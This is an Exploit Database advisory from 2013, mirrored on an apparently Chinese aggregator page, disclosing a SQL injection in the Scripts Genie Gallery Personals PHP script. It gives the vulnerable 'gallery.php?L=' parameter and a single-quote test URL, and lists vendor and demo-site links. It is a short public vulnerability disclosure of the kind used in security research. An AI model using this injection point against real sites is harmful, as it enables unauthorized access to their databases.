Scripts Genie Gallery Personals – ‘gallery.php?L’ SQL Injection

• Exploit Database
• 8 阅读

• 作者： 3spi0n
  日期： 2013-02-17
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24508/

• ##################################################################################
   ________
  / /___ _____(_)_____________ ______(_)_______ / __ \_________ _
   __/ / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/
  / /_/ / /_/ / / / / (__|__) /_/ / // /__(__)/ /_/ / // /_/ / 
  \____/\__,_/_/ /_/_/____/____/\__,_/_//_/\___/____(_)____/_/ \__, /
  /____/ 
  ##################################################################################																
  Gallery Personals Script SQL Injection Vulnerabilities
  Software Page: http://scriptsgenie.com/
  Product Page: http://www.hotscripts.com/listing/gallery-personals/
  Script Demo: http://resalemembership.com/demos/pgallery/
  
  Author(Pentester): 3spi0n
  On Social: Twitter.Com/eyyamgudeer
  Greetz: Grayhats Inc. and Janissaries Platform.
  ##################################################################################
  
  [~] MySQL Injection on Demo Site (/gallery.php?L=)
  
  >>> http://server/pgallery/gallery.php?L=2' (MySQLi Found)